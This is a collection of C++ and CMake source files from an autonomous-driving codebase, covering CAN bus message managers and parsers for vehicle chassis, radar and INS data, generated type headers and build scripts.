License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "modules/canbus/vehicle/cx75/cx75_message_manager.h" #include "modules/canbus/vehicle/cx75/protocol/pam_0x270_270.h" #include "modules/canbus/vehicle/cx75/protocol/pam_0x271_271.h" #include "modules/canbus/vehicle/cx75/protocol/pam_0x272_272.h" #include "modules/canbus/vehicle/cx75/protocol/abs_sts_0x221_221.h" #include "modules/canbus/vehicle/cx75/protocol/eps_advanced_0x176_176.h" #include "modules/canbus/vehicle/cx75/protocol/esp_advanced_0x234_234.h" #include "modules/canbus/vehicle/cx75/protocol/esp_axay_0x242_242.h" #include "modules/canbus/vehicle/cx75/protocol/esp_direction_0x235_235.h" #include "modules/canbus/vehicle/cx75/protocol/esp_pressure_0x241_241.h" #include "modules/canbus/vehicle/cx75/protocol/esp_raw_0x212_212.h" #include "modules/canbus/vehicle/cx75/protocol/esp_status_0x243_243.h" #include "modules/canbus/vehicle/cx75/protocol/esp_vlc_0x223_223.h" #include "modules/canbus/vehicle/cx75/protocol/esp_whlpulse_0x236_236.h" #include "modules/canbus/vehicle/cx75/protocol/gw_bcm_door_0x310_310.h" #include "modules/canbus/vehicle/cx75/protocol/gw_body_0x321_321.h" #include "modules/canbus/vehicle/cx75/protocol/gw_ems_engstatus_0x142_142.h" #include "modules/canbus/vehicle/cx75/protocol/gw_ems_sts_0x151_151.h" #include "modules/canbus/vehicle/cx75/protocol/gw_ems_tq_0x101_101.h" #include "modules/canbus/vehicle/cx75/protocol/gw_ems_tqwhl_0x111_111.h" #include "modules/canbus/vehicle/cx75/protocol/gw_ems_whltq_0x107_107.h" #include "modules/canbus/vehicle/cx75/protocol/gw_ic_0x510_510.h" #include "modules/canbus/vehicle/cx75/protocol/gw_mp5_0x530_530.h" #include "modules/canbus/vehicle/cx75/protocol/gw_mp5_nav_0x533_533.h" #include "modules/canbus/vehicle/cx75/protocol/gw_swm_body_0x31a_31a.h" #include "modules/canbus/vehicle/cx75/protocol/gw_swm_mrr_0x31b_31b.h" #include "modules/canbus/vehicle/cx75/protocol/gw_tbox_location_0x580_580.h" #include "modules/canbus/vehicle/cx75/protocol/gw_tcu_gearinfo_0x123_123.h" #include "modules/canbus/vehicle/cx75/protocol/ipm_0x245_245.h" #include "modules/canbus/vehicle/cx75/protocol/ipm_leftline_0x278_278.h" #include "modules/canbus/vehicle/cx75/protocol/ipm_rightline_0x490_490.h" #include "modules/canbus/vehicle/cx75/protocol/mrr_0x238_238.h" #include "modules/canbus/vehicle/cx75/protocol/mrr_0x239_239.h" #include "modules/canbus/vehicle/cx75/protocol/mrr_0x246_246.h" #include "modules/canbus/vehicle/cx75/protocol/mrr_frobj_0x279_279.h" #include "modules/canbus/vehicle/cx75/protocol/mrr_frobj_0x480_480.h" #include "modules/canbus/vehicle/cx75/protocol/sas_sensor_0x175_175.h" #include "modules/canbus/vehicle/cx75/protocol/srs_0x350_350.h" #include "modules/canbus/vehicle/cx75/protocol/ins_datainfo_506.h" #include "modules/canbus/vehicle/cx75/protocol/ins_gyro_501.h" #include "modules/canbus/vehicle/cx75/protocol/ins_headingpitchroll_502.h" #include "modules/canbus/vehicle/cx75/protocol/ins_heightandtime_503.h" #include "modules/canbus/vehicle/cx75/protocol/ins_latitudelongitude_504.h" #include "modules/canbus/vehicle/cx75/protocol/ins_speed_505.h" #include "modules/canbus/vehicle/cx75/protocol/ins_std_507.h" #include "modules/canbus/vehicle/cx75/protocol/ins_acc_500.h" namespace jmc_auto { namespace canbus { namespace cx75 { Cx75MessageManager::Cx75MessageManager() { // Control Messages AddSendProtocolData<Mrr0x238238, true>(); AddSendProtocolData<Mrr0x239239, true>(); AddSendProtocolData<Mrr0x246246, true>(); AddSendProtocolData<Mrrfrobj0x279279, true>(); AddSendProtocolData<Mrrfrobj0x480480, true>(); AddSendProtocolData<Ipm0x245245, true>(); AddSendProtocolData<Ipmleftline0x278278, true>(); AddSendProtocolData<Ipmrightline0x490490, true>(); AddSendProtocolData<Pam0x270270, true>(); AddSendProtocolData<Pam0x271271, true>(); AddSendProtocolData<Pam0x272272, true>(); // Report Messages AddRecvProtocolData<Abssts0x221221, true>(); AddRecvProtocolData<Epsadvanced0x176176, true>(); AddRecvProtocolData<Espadvanced0x234234, true>(); AddRecvProtocolData<Espaxay0x242242, true>(); AddRecvProtocolData<Espdirection0x235235, true>(); AddRecvProtocolData<Esppressure0x241241, true>(); AddRecvProtocolData<Espraw0x212212, true>(); AddRecvProtocolData<Espstatus0x243243, true>(); AddRecvProtocolData<Espvlc0x223223, true>(); AddRecvProtocolData<Espwhlpulse0x236236, true>(); AddRecvProtocolData<Gwbcmdoor0x310310, true>(); AddRecvProtocolData<Gwbody0x321321, true>(); AddRecvProtocolData<Gwemsengstatus0x142142, true>(); AddRecvProtocolData<Gwemssts0x151151, true>(); AddRecvProtocolData<Gwemstq0x101101, true>(); AddRecvProtocolData<Gwemstqwhl0x111111, true>(); AddRecvProtocolData<Gwemswhltq0x107107, true>(); AddRecvProtocolData<Gwic0x510510, true>(); AddRecvProtocolData<Gwmp50x530530, true>(); AddRecvProtocolData<Gwmp5nav0x533533, true>(); AddRecvProtocolData<Gwswmbody0x31a31a, true>(); AddRecvProtocolData<Gwswmmrr0x31b31b, true>(); AddRecvProtocolData<Gwtboxlocation0x580580, true>(); AddRecvProtocolData<Gwtcugearinfo0x123123, true>(); AddRecvProtocolData<Sassensor0x175175, true>(); AddRecvProtocolData<Srs0x350350, true>(); AddRecvProtocolData<Insacc500, true>(); AddRecvProtocolData<Insdatainfo506, true>(); AddRecvProtocolData<Insgyro501, true>(); AddRecvProtocolData<Insheadingpitchroll502, true>(); AddRecvProtocolData<Insheightandtime503, true>(); AddRecvProtocolData<Inslatitudelongitude504, true>(); AddRecvProtocolData<Insspeed505, true>(); AddRecvProtocolData<Insstd507, true>(); } Cx75MessageManager::~Cx75MessageManager() {} } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/gw_scu_shiftersts_0xc8_c8.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Gwscushiftersts0xc8c8::Gwscushiftersts0xc8c8() {} const int32_t Gwscushiftersts0xc8c8::ID = 0xC8; void Gwscushiftersts0xc8c8::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_gw_scu_shiftersts_0xc8_c8()->set_checksum_0xc8(checksum_0xc8(bytes, length)); chassis->mutable_teshun()->mutable_gw_scu_shiftersts_0xc8_c8()->set_rolling_counter_0xc8(rolling_counter_0xc8(bytes, length)); chassis->mutable_teshun()->mutable_gw_scu_shiftersts_0xc8_c8()->set_scu_shifterlockstatus(scu_shifterlockstatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_scu_shiftersts_0xc8_c8()->set_shifterlockstatus(shifterlockstatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_scu_shiftersts_0xc8_c8()->set_shifterpositionfailure(shifterpositionfailure(bytes, length)); chassis->mutable_teshun()->mutable_gw_scu_shiftersts_0xc8_c8()->set_shifterposition(shifterposition(bytes, length)); chassis->mutable_teshun()->mutable_gw_scu_shiftersts_0xc8_c8()->set_shifterpositioninv(shifterpositioninv(bytes, length)); chassis->mutable_teshun()->mutable_gw_scu_shiftersts_0xc8_c8()->set_sys_sts_scu(sys_sts_scu(bytes, length)); } // config detail: {'name': 'checksum_0xc8', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwscushiftersts0xc8c8::checksum_0xc8(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0xc8', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwscushiftersts0xc8c8::rolling_counter_0xc8(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'scu_shifterlockstatus', 'enum': {0: 'SCU_SHIFTERLOCKSTATUS_UNLOCKED', 1: 'SCU_SHIFTERLOCKSTATUS_LOCKED', 3: 'SCU_SHIFTERLOCKSTATUS_FAULT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::Scu_shifterlockstatusType Gwscushiftersts0xc8c8::scu_shifterlockstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 2); Gw_scu_shiftersts_0xc8_c8::Scu_shifterlockstatusType ret = static_cast<Gw_scu_shiftersts_0xc8_c8::Scu_shifterlockstatusType>(x); return ret; } // config detail: {'name': 'shifterlockstatus', 'enum': {0: 'SHIFTERLOCKSTATUS_UNLOCKED', 1: 'SHIFTERLOCKSTATUS_LOCKED', 3: 'SHIFTERLOCKSTATUS_FAULT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::ShifterlockstatusType Gwscushiftersts0xc8c8::shifterlockstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 2); Gw_scu_shiftersts_0xc8_c8::ShifterlockstatusType ret = static_cast<Gw_scu_shiftersts_0xc8_c8::ShifterlockstatusType>(x); return ret; } // config detail: {'name': 'shifterpositionfailure', 'enum': {0: 'SHIFTERPOSITIONFAILURE_NOFAULT', 1: 'SHIFTERPOSITIONFAILURE_MODESELECTORSENSORFAIL', 2: 'SHIFTERPOSITIONFAILURE_ROTARYPOSITIONSENSORFAIL', 3: 'SHIFTERPOSITIONFAILURE_CANBUSCOMMUNICATION', 4: 'SHIFTERPOSITIONFAILURE_SOLENOIDFAIL'}, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::ShifterpositionfailureType Gwscushiftersts0xc8c8::shifterpositionfailure(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Gw_scu_shiftersts_0xc8_c8::ShifterpositionfailureType ret = static_cast<Gw_scu_shiftersts_0xc8_c8::ShifterpositionfailureType>(x); return ret; } // config detail: {'name': 'shifterposition', 'enum': {0: 'SHIFTERPOSITION_ERROR', 3: 'SHIFTERPOSITION_MANUAL_MODE', 5: 'SHIFTERPOSITION_DRIVE', 6: 'SHIFTERPOSITION_NEUTRAL', 7: 'SHIFTERPOSITION_REVERSE', 8: 'SHIFTERPOSITION_PARK', 9: 'SHIFTERPOSITION_UPSHIFT', 10: 'SHIFTERPOSITION_DOWNSHIFT'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::ShifterpositionType Gwscushiftersts0xc8c8::shifterposition(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(4, 4); Gw_scu_shiftersts_0xc8_c8::ShifterpositionType ret = static_cast<Gw_scu_shiftersts_0xc8_c8::ShifterpositionType>(x); return ret; } // config detail: {'name': 'shifterpositioninv', 'enum': {5: 'SHIFTERPOSITIONINV_DOWNSHIFT', 6: 'SHIFTERPOSITIONINV_UPSHIFT', 7: 'SHIFTERPOSITIONINV_PARK', 8: 'SHIFTERPOSITIONINV_REVERSE', 9: 'SHIFTERPOSITIONINV_NEUTRAL', 10: 'SHIFTERPOSITIONINV_DRIVE', 12: 'SHIFTERPOSITIONINV_MANUAL_MODE', 15: 'SHIFTERPOSITIONINV_ERROR'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::ShifterpositioninvType Gwscushiftersts0xc8c8::shifterpositioninv(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(2, 4); Gw_scu_shiftersts_0xc8_c8::ShifterpositioninvType ret = static_cast<Gw_scu_shiftersts_0xc8_c8::ShifterpositioninvType>(x); return ret; } // config detail: {'name': 'sys_sts_scu', 'enum': {0: 'SYS_STS_SCU_INIT', 1: 'SYS_STS_SCU_OK', 2: 'SYS_STS_SCU_WARNING', 3: 'SYS_STS_SCU_FAULT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::Sys_sts_scuType Gwscushiftersts0xc8c8::sys_sts_scu(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 2); Gw_scu_shiftersts_0xc8_c8::Sys_sts_scuType ret = static_cast<Gw_scu_shiftersts_0xc8_c8::Sys_sts_scuType>(x); return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(path path.cc path.h) target_link_libraries(path math hdmap hdmap_util map_proto routing_proto) add_library(route_segments route_segments.cc route_segments.h) target_link_libraries(route_segments vehicle_state_proto hdmap path routing_gflags) add_library(pnc_map pnc_map.cc pnc_map.h) target_link_libraries(pnc_map path route_segments vehicle_state_proto hdmap planning_gflags routing_gflags) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_header_h #define impl_type_header_h #include "impl_type_uint64.h" #include "impl_type_double.h" #include "impl_type_uint32.h" #include "impl_type_statuspb.h" struct Header { ::Double timestamp_sec; ::UInt32 sequence_num; ::UInt64 lidar_timestamp; ::UInt64 camera_timestamp; ::UInt64 radar_timestamp; ::UInt32 version; ::StatusPb status; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(timestamp_sec); fun(sequence_num); fun(lidar_timestamp); fun(camera_timestamp); fun(radar_timestamp); fun(version); fun(status); } template<typename F> void enumerate(F& fun) const { fun(timestamp_sec); fun(sequence_num); fun(lidar_timestamp); fun(camera_timestamp); fun(radar_timestamp); fun(version); fun(status); } bool operator == (const ::Header& t) const { return (timestamp_sec == t.timestamp_sec) && (sequence_num == t.sequence_num) && (lidar_timestamp == t.lidar_timestamp) && (camera_timestamp == t.camera_timestamp) && (radar_timestamp == t.radar_timestamp) && (version == t.version) && (status == t.status); } }; #endif // impl_type_header_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_pointcloud2_h #define impl_type_pointcloud2_h #include "ara/core/vector.h" #include "impl_type_singlepoint.h" using PointCloud2 = ara::core::Vector<SinglePoint>; #endif // impl_type_pointcloud2_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(hdmap hdmap.cc hdmap_common.cc hdmap_impl.cc hdmap.h hdmap_common.h hdmap_impl.h hdmap_util.h) target_link_libraries(hdmap macro config_gflags math linear_interpolation util opendrive_adapter navigation_proto map_proto glog) add_library(hdmap_util hdmap_util.cc hdmap_util.h) target_link_libraries(hdmap_util hdmap jmcauto_log macro adapter_manager config_gflags util string_util navigation_proto) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(control_gflags control_gflags.cc control_gflags.h) target_link_libraries(control_gflags gflags) add_library(hysteresis_filter hysteresis_filter.cc hysteresis_filter.h) add_library(interpolation_1d interpolation_1d.cc interpolation_1d.h) target_link_libraries(interpolation_1d jmcauto_log #eigen ) add_library(interpolation_2d interpolation_2d.cc interpolation_2d.h) target_link_libraries(interpolation_2d jmcauto_log #eigen ) add_library(pid_controller pid_controller.cc pid_controller.h) target_link_libraries(pid_controller jmcauto_log control_proto) add_library(pid_increment pid_increment.cc pid_increment.h) target_link_libraries(pid_increment jmcauto_log control_proto) add_library(trajectory_analyzer trajectory_analyzer.cc trajectory_analyzer.h) target_link_libraries(trajectory_analyzer jmcauto_log linear_interpolation search pnc_point_proto vehicle_state_provider planning_proto) add_library(control_common INTERFACE) target_link_libraries(control_common INTERFACE control_gflags hysteresis_filter interpolation_1d interpolation_2d pid_controller trajectory_analyzer pid_increment)<file_sep>#include "modules/drivers/canbus/can_client/mdc/mdc_can_client.h" #include <cassert> #include <cstdlib> #include <cstring> #include <exception> #include <iomanip> //#include <iostream> #include <stdint.h> #include <string> #include <vector> namespace jmc_auto { namespace drivers { namespace canbus { namespace can { using jmc_auto::common::ErrorCode; bool MdcCanClient::Init(const CANCardParameter &parameter) { if (!parameter.has_channel_id()) { AERROR << "Init CAN failed: parameter does not have channel id. The " "parameter is " << parameter.DebugString(); return false; } if (parameter.channel_id() < 0 || parameter.channel_id() > CAN_NUM) { AERROR << "Init CAN failed: parameter have wrong channel id. The " "parameter is " << parameter.DebugString(); return false; } m_channelId = parameter.channel_id(); m_instance = m_channelId + 1; return true; } ErrorCode MdcCanClient::Start() { if (is_started_) { return ErrorCode::OK; } // 提供服务 m_skeleton[m_channelId] = std::make_unique<CanTxSkeleton>( ara::com::InstanceIdentifier(m_instance), ara::com::MethodCallProcessingMode::kPoll); m_skeleton[m_channelId]->OfferService(); // 注册服务发现的回调函数,,当发现服务的时候,会回调该函数 CanRxProxy::StartFindService( [this](ara::com::ServiceHandleContainer<CanRxProxy::HandleType> handles, ara::com::FindServiceHandle handler) { MdcCanClient::ServiceAvailabilityCallback(std::move(handles), handler); }, m_instance); is_started_ = true; return ErrorCode::OK; } void MdcCanClient::ServiceAvailabilityCallback( ara::com::ServiceHandleContainer<CanRxProxy::HandleType> handles, ara::com::FindServiceHandle handler) { if (handles.size() > 0) { for (unsigned int i = 0; i < handles.size(); i++) { int instanceId = static_cast<uint16_t>(handles[i].GetInstanceId()); int channelID = m_channelId; if (instanceId != m_instance) { continue; } if (m_proxy[channelID] == nullptr) { // 注册接收MCU上传CAN帧的回调函数 m_proxy[channelID] = std::make_unique<CanRxProxy>(handles[i]); m_proxy[channelID]->CanDataRxEvent.Subscribe( ara::com::EventCacheUpdatePolicy::kNewestN, 40); m_proxy[channelID]->CanDataRxEvent.SetReceiveHandler( [this, channelID]() { MdcCanClient::CanDataEventCallback(channelID); }); // 开启method发送线程 // m_canMethodThread[channelID] = std::make_unique<std::thread>( // &MdcCanClient::Send, this, channelID); } } } } void MdcCanClient::CanDataEventCallback(unsigned char channelID) { if (channelID < 0 || channelID > CAN_NUM) { AERROR << "channelid error"; return; } if (m_proxy[channelID] == nullptr) { AERROR << "channelid null"; return; } // 加锁防止重入 std::unique_lock<std::mutex> lockread(m_canReadMutex); // 接收CAN帧 m_proxy[channelID]->CanDataRxEvent.Update(); const auto &canMsgSamples = m_proxy[channelID]->CanDataRxEvent.GetCachedSamples(); //for (const auto &sample : canMsgSamples) { // 接收转入CAN帧处理回调函数 const auto &sample = canMsgSamples.back(); cfs.resize(sample->elementList.size()); for (unsigned int i = 0; i < sample->elementList.size(); i++) { cfs[i].id = (*sample).elementList[i].canId; cfs[i].len = (*sample).elementList[i].validLen; //printf("\n======can=======\ncanId: %x, canDLC: %u\ncanData: ", // sample->elementList[i].canId, // sample->elementList[i].validLen); for (unsigned int j = 0; j < CAN_VALIDLEN; j++) { cfs[i].data[j] = (*sample).elementList[i].data[j]; //printf("%x ", sample->elementList[i].data[j]); // printf("%x ", cfs[i].data[j]); } // printf("\n"); } // 解锁 lockread.unlock(); m_proxy[channelID]->CanDataRxEvent.Cleanup(); } void MdcCanClient::Stop() { return; } ErrorCode MdcCanClient::Send(const std::vector<CanFrame> &frames, int32_t *const frame_num) { if (m_skeleton[m_channelId] == nullptr) { return ErrorCode::CAN_CLIENT_ERROR_BASE; } CanBusDataParam canDataParm; canDataParm.elementList.resize(*frame_num); for (int i = 0; i < *frame_num; ++i) { struct Element canRawdata; canRawdata.timeStamp.second = frames[i].timestamp.tv_sec; canRawdata.timeStamp.nsecond = frames[i].timestamp.tv_usec; //AERROR << "timeStamp: " << canRawdata.timeStamp.second << canRawdata.timeStamp.nsecond; //AERROR << "ori_timeStamp: " << frames[i].timestamp.tv_sec << frames[i].timestamp.tv_usec; // 下发的CAN帧,需要在canbus_config.json中配置,比如CanId、DataLength // 可参照canbus_config_ars408.json中 ChannelId 1 进行配置 canRawdata.canId = frames[i].id; canRawdata.validLen = frames[i].len; canDataParm.elementList[i].data.resize(canRawdata.validLen); //printf("\n======canRawdata=======\ncanId: %x, canDLC: %u\ncanData: ", // canRawdata.canId, // canRawdata.validLen); for (int j = 0; j < CAN_VALIDLEN; ++j) { canRawdata.data.push_back(frames[i].data[j]); //printf("%x ", frames[i].data[j]); } //canDataParm.elementList.push_back(canRawdata); canDataParm.elementList[i]=canRawdata; } canDataParm.seq = 1; // Event发送 std::unique_lock<std::mutex> locksend(m_canSendMutex); /* auto controlMcuMsg = m_skeleton[m_channelId]->CanDataTxEvent.Allocate(); controlMcuMsg->elementList = (canSendDataParm.elementList); controlMcuMsg->seq = (canSendDataParm.seq); //AERROR << "start to event.send"; m_skeleton[m_channelId]->CanDataTxEvent.Send(std::move(controlMcuMsg)); */ m_skeleton[m_channelId]->CanDataTxEvent.Send(canDataParm); locksend.unlock(); return ErrorCode::OK; } ErrorCode MdcCanClient::Receive(std::vector<CanFrame> *const frames, int32_t *const frame_num) { if (frame_num == nullptr || frames == nullptr) { AERROR << "frames or frame_num pointer is null"; return ErrorCode::CAN_CLIENT_ERROR_BASE; } frames->resize(*frame_num); for (int32_t i = 0; i < *frame_num && i < cfs.size(); ++i) { CanFrame cf; cf.id = cfs[i].id; cf.len = cfs[i].len; std::memcpy(cf.data, cfs[i].data, cfs[i].len); //printf("\n--------------cf--------------\ncfId: %x, cfDLC: %u\ncfData: ", cf.id, cf.len); //for (unsigned int j = 0; j < CAN_VALIDLEN; j++) { // printf("%x ", cf.data[j]); //} frames->push_back(cf); } cfs.clear(); return ErrorCode::OK; } std::string MdcCanClient::GetErrorString(const int32_t /*status*/) { return ""; } } // namespace can } // namespace canbus } // namespace drivers } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_messagetype_h #define impl_type_messagetype_h #include "impl_type_uint8.h" enum class MessageType : UInt8 { POINT_CLOUD = 1, GPS = 2, IMU = 3, CHASSIS = 4, LOCALIZATION = 5, PLANNING_TRAJECTORY = 6, MONITOR = 7, PAD = 8, CONTROL_COMMAND = 9, PREDICTION = 10, PERCEPTION_OBSTACLES = 11, TRAFFIC_LIGHT_DETECTION = 12, CHASSIS_DETAIL = 13, DECISION = 14, CANBUS = 15, ROUTING_REQUEST = 16, ROUTING_RESPONSE = 17, RELATIVE_ODOMETRY = 18, INS_STAT = 19, HMI_COMMAND = 20, SYSTEM_STATUS = 21, INS_STATUS = 22, GNSS_STATUS = 23, CONTI_RADAR = 24, DRIVE_EVENT = 25, GNSS_RTK_OBS = 26, GNSS_RTK_EPH = 27, GNSS_BEST_POSE = 28, LOCALIZATION_MSF_GNSS = 29, LOCALIZATION_MSF_LIDAR = 30, LOCALIZATION_MSF_SINS_PVA = 31, RAW_IMU = 32, LOCALIZATION_MSF_STATUS = 33, STATIC_INFO = 34, RELATIVE_MAP = 35, NAVIGATION = 36, ULTRASONIC_RADAR = 37, PERCEPTION_LANE_MASK = 38, GUARDIAN = 39, GNSS_RAW_DATA = 40, STREAM_STATUS = 41, GNSS_HEADING = 42, RTCM_DATA = 43, VLP16_POINT_CLOUD = 44, POINT_CLOUD_RAW = 45, VELODYNE_RAW = 46, POINT_CLOUD_FUSION = 47, REMOTE_CONTROL = 48 }; #endif // impl_type_messagetype_h <file_sep>#include "modules/canbus/tools/teleop_gflags.h" // System gflags DEFINE_string(teleop_node_name, "teleop", "The chassis module name in proto"); DEFINE_string(teleop_module_name, "teleop", "Module name"); DEFINE_string(teleop_adapter_config_filename, "modules/canbus/tools/adapter.conf", "The adapter config file"); DEFINE_double(throttle_inc_delta, 2.0, "throttle pedal command delta percentage."); DEFINE_double(brake_inc_delta, 2.0, "brake pedal delta percentage"); DEFINE_double(steer_inc_delta, 2.0, "steer delta percentage");<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_library(drivers_canbus_common byte.cc byte.h canbus_consts.h) target_link_libraries(drivers_canbus_common )<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_latencystats_h #define impl_type_latencystats_h #include "impl_type_double.h" #include "impl_type_bool.h" #include "impl_type_controllertimems.h" struct LatencyStats { ::Double total_time_ms; ::ControllerTimeMs controller_time_ms; ::Bool total_time_exceeded; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(total_time_ms); fun(controller_time_ms); fun(total_time_exceeded); } template<typename F> void enumerate(F& fun) const { fun(total_time_ms); fun(controller_time_ms); fun(total_time_exceeded); } bool operator == (const ::LatencyStats& t) const { return (total_time_ms == t.total_time_ms) && (controller_time_ms == t.controller_time_ms) && (total_time_exceeded == t.total_time_exceeded); } }; #endif // impl_type_latencystats_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_subdirectory(common) add_subdirectory(proto) add_subdirectory(vehicle) add_subdirectory(tools) add_executable(canbus main.cc) target_link_libraries(canbus ${COMMON_LIB} canbus_lib can_client drivers_canbus_common -lpthread) add_library(canbus_lib canbus.cc canbus.h) target_link_libraries(canbus_lib canbus_common vehicle_factory common jmc_auto_app adapter_manager #monitor_log can_client_factory can_receiver can_sender #remotecontrol_proto )<file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_MRR_FROBJ_0X480_480_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_MRR_FROBJ_0X480_480_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Mrrfrobj0x480480 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Mrrfrobj0x480480(); uint32_t GetPeriod() const override; void UpdateData(uint8_t* data) override; void Reset() override; // config detail: {'name': 'MRR_L_Object_dy', 'enum': {511: 'MRR_L_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x480480* set_mrr_l_object_dy(double mrr_l_object_dy); // config detail: {'name': 'MRR_L_Obj_0x_class', 'enum': {0: 'MRR_L_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_L_OBJ_0X_CLASS_CAR', 2: 'MRR_L_OBJ_0X_CLASS_TRUCK', 3: 'MRR_L_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x480480* set_mrr_l_obj_0x_class(Mrr_frobj_0x480_480::Mrr_l_obj_0x_classType mrr_l_obj_0x_class); // config detail: {'name': 'MRR_R_Object_dx', 'enum': {4095: 'MRR_R_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 31, 